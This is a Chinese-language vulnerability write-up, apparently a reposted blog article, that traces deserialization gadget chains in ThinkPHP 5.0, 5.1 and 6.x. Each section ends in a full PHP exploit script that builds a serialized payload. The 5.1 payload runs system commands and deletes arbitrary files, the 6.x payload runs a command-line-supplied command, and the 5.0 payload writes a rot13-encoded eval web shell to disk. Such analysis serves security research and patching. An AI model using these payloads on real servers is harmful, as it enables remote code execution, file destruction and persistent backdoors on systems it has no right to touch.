溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

發(fā)布時(shí)間:2021-10-18 15:59:04 來(lái)源:億速云 閱讀:252 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹Thinkphp5.0、5.1、6.x反序列化的漏洞分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

命名空間

命名空間的聲明可避免類或函數(shù)名重復(fù)導(dǎo)致的各種問(wèn)題。使用namespace可以聲明、切換命名空間。

<?php
namespace first;
echo "當(dāng)前命名空間",__NAMESPACE__,"\n";

namespace second;
echo "當(dāng)前命名空間",__NAMESPACE__,"\n";
?>
/*運(yùn)行結(jié)果
 *當(dāng)前命名空間first
 *當(dāng)前命名空間second
 */

在不同命名空間內(nèi)可以定義同名類,有多個(gè)命名空間時(shí),默認(rèn)為最后一次聲明的空間.若要使用其他命名空間的類,則需要在類前加入命名空間,直接使用其他命名空間的類會(huì)出錯(cuò)

<?php
namespace first;
class wow{
	function __construct(){
	echo "當(dāng)前命名空間",__NAMESPACE__,"\n";
	}
}
class fine{
	function __construct(){
		echo "I'm fine thank u\n";
	}
}

namespace second;
class wow{
	function __construct(){
		echo "當(dāng)前命名空間",__NAMESPACE__,"\n";
	}
}

new wow();
echo "正確的創(chuàng)建fine\n";
new \first\fine();			//需要有反斜杠在前
echo "錯(cuò)誤的創(chuàng)建fine\n";
new fine();

?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv5.1 漏洞

Thinkphp v5.1.39LTS

POP鏈為:Windows::__destruct --> Pivot::__toString  --> Request::__call  -->Request::isAjax  --> Request::param  --> Request::input  --> Request::filterValue  -->call_user_func,

Windows類thinkphp/library/think/process/pipes/Windows.php

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤removeFiles()
Thinkphp5.0、5.1、6.x反序列化的漏洞分析

該函數(shù)功能,遍歷Windows->files屬性,若存在該屬性指定的文件,則刪除。$this->files完全可控,故可刪除任意文件,例如

<?php

namespace think\process\pipes;
use think\Process;
class Pipes{}
class Windows extends Pipes{
	private $files = [];
	function __construct(){
		$this->files = ["D://del.txt"];
	}
}

echo urlencode(serialize(New Windows()))."\n";

?>
//運(yùn)行結(jié)果
//O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22D%3A%2F%2Fdel.txt%22%3B%7D%7D

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

removeFiles函數(shù)第163行,以file_exist函數(shù)處理$filename,file_exist函數(shù)會(huì)將參數(shù)當(dāng)作字符串處理,倘若使得$filename為一個(gè)擁有__toString方法的對(duì)象則可觸發(fā)__toString方法。

Pivot類的__toString方法來(lái)自父類Model,而Model的__toString方法則來(lái)自trait類Conversion

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Conversion類__toString鏈如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

toArray代碼過(guò)長(zhǎng),截取有用部分如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其間$relation變量來(lái)自$this->data[$name],而$name變量則來(lái)自$this->append,此兩者皆可控。若使得$relation為擁有可利用visible方法或者不擁有visible方法但擁有可利用__call方法的對(duì)象,則可進(jìn)入下一步利用。

__call這里找到Request類,如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

由于$this->hook可控,我們可以輕易執(zhí)行到call_user_func_array.但又由于代碼330行array_unshift的存在,使得Request對(duì)象被放置到$args的首位,導(dǎo)致我們無(wú)法在此處執(zhí)行任意代碼(因?yàn)閰?shù)不可控),故需要再次尋找第一個(gè)參數(shù)不太影響結(jié)果的函數(shù)構(gòu)造可利用鏈。

這里找到Request::isAjax,并跟蹤

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤input

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$name來(lái)自config['var_ajax'],可控,$data來(lái)自$this->param,也可控.

跟蹤filterValue,其間執(zhí)行了call_user_func($filter, $value)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$value來(lái)自input中的$data,故最終來(lái)自$this->param,$filter在調(diào)用getFilter函數(shù)后獲得

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其間$this->filter可控,故$filter可控。由于$filter,$value皆可控,故可執(zhí)行任意代碼,再回看一次pop鏈

Windows::__destruct --> Pivot::__toString  --> Request::__call  -->Request::isAjax  --> Request::param  --> Request::input  --> Request::filterValue  -->call_user_func

exp

倘若要執(zhí)行system('id'),則需要控制變量為以下值

Request->filter = "system";
Request->param = array('id');
Request->hook['visible'] = [$this,"isAjax"];
Request->config['var_ajax'] = '';
Pivot->data = ["azhe" => new Request()];
Pivot->append = ["azhe" => ["4ut","15m"]];
Windows->files = [new Pivot()];

---exp---
<?php

namespace think;
abstract class Model{
	private $data = [];
	protected $append = [];
	public function __construct(){
		$this->data = ["azhe" => new Request()];
		$this->append = ["azhe" => ["4ut","15m"]];
	}
}

class Request{
	protected $config = [
        // 表單請(qǐng)求類型偽裝變量
        'var_method'       => '_method',
        // 表單ajax偽裝變量
        'var_ajax'         => '_ajax',
        // 表單pjax偽裝變量
        'var_pjax'         => '_pjax',
        // PATHINFO變量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO獲取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默認(rèn)全局過(guò)濾方法 用逗號(hào)分隔多個(gè)
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理標(biāo)識(shí)
        'https_agent_name' => '',
        // IP代理獲取標(biāo)識(shí)
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL偽靜態(tài)后綴
        'url_html_suffix'  => 'html',
    ];
    protected $param = [];
    protected $hook = [];
    protected $filter;
    public function __construct(){
    	$this->filter = "system";
    	$this->hook = ["visible" => [$this, "isAjax"]];
    	$this->param = array('id');			//可以在這里寫(xiě)定命令,也可不在此設(shè)定,param函數(shù)會(huì)通過(guò)提交的參數(shù)來(lái)更新該值,故也可直接在地址欄提交任意參數(shù)執(zhí)行命令
        $this->config['var_ajax'] = '';
    }
}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
	private $files ;
    public function __construct(){
        $this->files = [new Pivot()];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv6.x 漏洞

POP鏈Model->__destruct() --> Model->save() --> Model->updateData() --> Model->checkAllowFields() --> Conversion->__toString() --> Conversion->toJson() --> Conversion->toArray() --> Attribute->getAttr() --> Attribute->getValue()

先看反序列化起點(diǎn)Model->__destruct()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

當(dāng)$this->lazySave == true時(shí)調(diào)用save,跟蹤如下

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想調(diào)用updateData,需要繞過(guò)第一個(gè)if并且$this->exists == true

if的繞過(guò)需要使isEmpty()返回false并且trigger()返回true

跟蹤isEmpty(),當(dāng)$this->data不為空時(shí)返回false

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤trigger(),當(dāng)$this->withEvent == false時(shí)trigger()返回true.(PS:trigger()所屬類為ModelEvent)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

繞過(guò)后,跟蹤updateData().

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想調(diào)用checkAllowFields需要繞過(guò)第二個(gè)if.跟蹤getChangedData()查看$data的獲取

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

當(dāng)$this->force == true時(shí),$data可控并且就為$this->data的值

跟蹤checkAllowFields().這里已經(jīng)可以看到一個(gè)__toString觸發(fā)點(diǎn),除了這一個(gè)觸發(fā)點(diǎn),還有一個(gè)觸發(fā)點(diǎn)就是db()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤db().進(jìn)行字符串拼接處即是觸發(fā)點(diǎn)。只要使$this->table、$this->name或$this->suffix為擁有__toString方法的對(duì)象即可。

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要想執(zhí)行到觸發(fā)點(diǎn),需要繞過(guò)updateData的第2個(gè)和第3個(gè)if,也即是$this->field(默認(rèn)為空)與$this->schema(默認(rèn)為空)為空

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

以上即是__destruct鏈,總結(jié)一下需要設(shè)置的屬性如下

Model->lazySave = true;
Model->exists = true;
Model->withEvent = false
Model->force = true;
Model->data不為空
Model->name(或table、suffix)為某對(duì)象

下面看__toString

Conversion->__toString

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟蹤toArray()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

要調(diào)用getAttr()首先需要繞過(guò)if.

$data來(lái)自$this->data$this->relation,當(dāng)$datavalue不是Model或ModelCollection實(shí)例時(shí)即可通過(guò)第一個(gè)if,若設(shè)置$this->visible則在173行調(diào)用getAttr,不設(shè)置則在175行調(diào)用,沒(méi)有影響.

跟進(jìn)getAttr()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

調(diào)用getData獲取到$value,跟進(jìn)

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)getRealFieldName()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

當(dāng)$this->strict == true(默認(rèn)也為true)時(shí),返回$name(name即是$this->data的key).也即是$fieldName終值為$this->data的key.

代碼279行的if,當(dāng)$this->data中存在$fieldName鍵時(shí),返回對(duì)應(yīng)鍵的值。故$value最終值為$this->data[$fieldName]

跟進(jìn)getValue()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼第496行,$closure完全可控,第497行觸發(fā)rce.

先看調(diào)用getValue()傳入的參數(shù),$name、$value、$relation,這三者分別為$this->data的key,$this->data的value,false

因?yàn)?code>$this->withAttr[$fieldName]可控并且$relation == false,故程序會(huì)執(zhí)行到497行。

以上則為__toString鏈,總結(jié)需要設(shè)置的內(nèi)容如下

$this->data = array('azhe'=>'whoami');
$this->withAttr = array('azhe'=>[])
Conversion類為trait類,需要尋找使用了它的類,這里可以用Pivot類

上下文總結(jié)如下
$Model->lasySave = true;
$Model->exists = true;
$Model->withEvent = false;
$Model->force = true;
$Model->name = new Pivot();
$Model->data = array('azhe'=>'whoami');
$Model->withAttr = array('azhe'=>'system');

exp

<?php
/*Model->__destruct()
 *Model->save()
 *Model->updateData()
 *Model->checkAllowFields()
 *Conversion->__toString()
 *Conversion->toJson()
 *Conversion->toArray()
 *Conversion->getAttr()
 *Conversion->getValue()
 */
namespace think;
abstract class Model{
	private $exists;
	private $force;
	private $lazySave;
	protected $name;
	protected $withEvent;
	private $data;
    private $withAttr;

	public function __construct($obj = null,$cmd = ''){
		$this->lazySave = true;
		$this->exists = true;
		$this->withEvent = false;
		$this->force = true;
		$this->name = $obj;
		$this->data = array('azhe'=>"${cmd}");
    	$this->withAttr = array('azhe'=>'system');
	}
}

namespace think\model;
use think\Model;
class Pivot extends Model{
}

$a = new Pivot();
$b = new Pivot($a,$argv[1]);
echo urlencode(serialize($b))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

TPv5.0 漏洞

POP鏈Windows->__destruct() --> Windows->removeFiles() --> Model->__toString --> Model->toJson() --> Model->toArray() --> Output->__call --> Output->block --> Output->writeln --> Output->write --> Memcache->write --> File->set

首先看__destruct鏈,thinkphp/library/think/process/pipes/Windows.php:56

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)removeFiles(),這里與TPv5.1相同,也存在任意文件刪除,不再演示

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

再看__toString鏈,thinkphp/library/think/Model.php:2265

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)toJson()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)toArray(),代碼過(guò)多,截取關(guān)鍵部分

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

倘若$value可控,則可在此處觸發(fā)__call

因?yàn)?code>$this->append可控,所以$name可控,當(dāng)$name不為數(shù)組,并且不含有.時(shí),代碼進(jìn)入899行,跟進(jìn)Loader::parseName();

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$relation可控為第一個(gè)字母小寫(xiě)的任意字符串

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼第900-901行,我們可以調(diào)用該類(Model)的任意方法,并且將結(jié)果賦予$modelRelation

先跟進(jìn)getRelationData()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)isSelfRelation()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)getModel(),這個(gè)getModel是Relation的類方法

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

它的getModel又調(diào)用了$this->query的getModel,因?yàn)?code>$this->query可控,故全局搜索getModel(),發(fā)現(xiàn)兩個(gè)簡(jiǎn)單易用的getModel
Thinkphp5.0、5.1、6.x反序列化的漏洞分析

這兩個(gè)getModel都是直接返回對(duì)象的$this->model,故$modelRelation->getModel()可控

可以發(fā)現(xiàn),$this->parent可控,倘若$modelRelation也可控,那么$value就可控?;乜?code>$modelRelation,它為我們調(diào)用的、任一Model方法的返回值,查看Model類的方法,找到一簡(jiǎn)單可控的方法getError()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

再往下看

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$modelRelation需要存在getBindAttr方法,全局搜索發(fā)現(xiàn)只有抽象類OneToOne存在該方法,并且該類也是Relation的子類。從這里看,我們需要讓$modelRelation為OneToOne的子類.再往下看,$bindAttr可控

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

到這,已經(jīng)可以隨便控制$bindAttr使代碼執(zhí)行到912行了。

912行,可以這樣看

$item[$bindAttr的key] = $this->parent ? $this->parent->getAttr($bindAttr[key]) : null,$bindAttr$this->parent皆可控

OneToOne的子類如下,$modelRelation可以任選其一

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

由于我們要使用Output類的__call方法,故需要使$this->parent為Output對(duì)象

__toString鏈需要構(gòu)造以下內(nèi)容

Model->append = array('4ut15m'=>'getError');
Model->error = new BelongsTo();	//或者HasOne
Model->parent = new Output();
OneToOne->selfRelation = false;
OneToOne->query = new ModelNotFoundException();
OneToOne->bindAttr = array('4ut15m');
ModelNotFoundException->model = new Output();

再看__call鏈,thinkphp/library/think/console/Output.php:208

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼212行,調(diào)用當(dāng)前對(duì)象的block方法,跟進(jìn)block()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

跟進(jìn)writeln()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

$this->handle可控,全局搜索write方法,找到 Memcache::write

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

其中$this->handler、$this->config都可控

全局搜索set方法,發(fā)現(xiàn)File::set

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

因?yàn)?code>$this->options可控,故$expire可控,$nameMemcache->config相關(guān),半可控,跟進(jìn)getCacheKey()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

至此$filename路徑可控,$name為可以確定的md5值

寫(xiě)入文件的內(nèi)容$data$value$expire組成,追溯前者其不可控,值為true。后者則由于格式化輸出的原因無(wú)法控制。跟進(jìn)setTagItem()

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

代碼在200行又調(diào)用了set方法,并且寫(xiě)入內(nèi)容$value為傳入的參數(shù)$name也即是前文的$filename,路徑部分可控。這里可以通過(guò)php偽協(xié)議php://write寫(xiě)入shell,如下

php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG['4hg15z']);?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

__call鏈需要構(gòu)造以下內(nèi)容

Output->styles = ['getAttr'];
Output->handle = new Memcache();
Memcache->handler = new File();
File->options = ['expire'        => 0,
        	'cache_subdir'  => false,	//設(shè)置為false可控制寫(xiě)入的文件在默認(rèn)路徑下
        	'prefix'        => '',
        	'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>',
        	'data_compress' => false];

exp

<?php

namespace think\process\pipes;
use think\model\Pivot;
//Windows類
class Windows{
	private $files;	
	public function __construct(){
		$this->files = array(new Pivot());	
	}
}

namespace think\model;
use think\model\relation\BelongsTo;
use think\console\Output;
//Pivot類
class Pivot {
	public $parent;	
	protected $error;
	protected $append;
	
	public function __construct(){
		$this->append = array('4ut15m' => 'getError');
		$this->error = new BelongsTo();		
		$this->parent = new Output();	
	}
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
//BelongsTo類
class BelongsTo {
	protected $parent;
	protected $query;
	protected $selfRelation;
	protected $bindAttr;

	public function __construct(){
		$this->selfRelation = false;
		$this->query = new ModelNotFoundException();		
		$this->bindAttr = array('4ut15m');
	}

}

namespace think\console;
use think\session\driver\Memcache;
//Output類
class Output{
	private $handle;
    protected $styles;

	public function __construct(){
		$this->styles = ['getAttr'];
		$this->handle = new Memcache();	
	}
}

namespace think\db\exception;
use think\console\Output;
//ModelNotFoundException類
class ModelNotFoundException{
	protected $model ;

	public function __construct(){
		$this->model = new Output();	
	}
}

namespace think\session\driver;
use think\cache\driver\File;
//Memcache類
class Memcache{
	protected $handler;

	public function __construct(){
		$this->handler = new File();
	}
}

namespace think\cache\driver;
use think\cache\Driver;
//File類
class File {
	protected $tag;
	protected $options;
	public function __construct(){
		$this->tag = '4ut15m';
		$this->options = [
        	'expire'        => 0,
        	'cache_subdir'  => false,
        	'prefix'        => '',
        	'path'          => 'php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'4hg15z\']);?>',
        	'data_compress' => false,
    	];
	}
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows))."\n";
?>

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

Thinkphp5.0、5.1、6.x反序列化的漏洞分析

關(guān)于Thinkphp5.0、5.1、6.x反序列化的漏洞分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI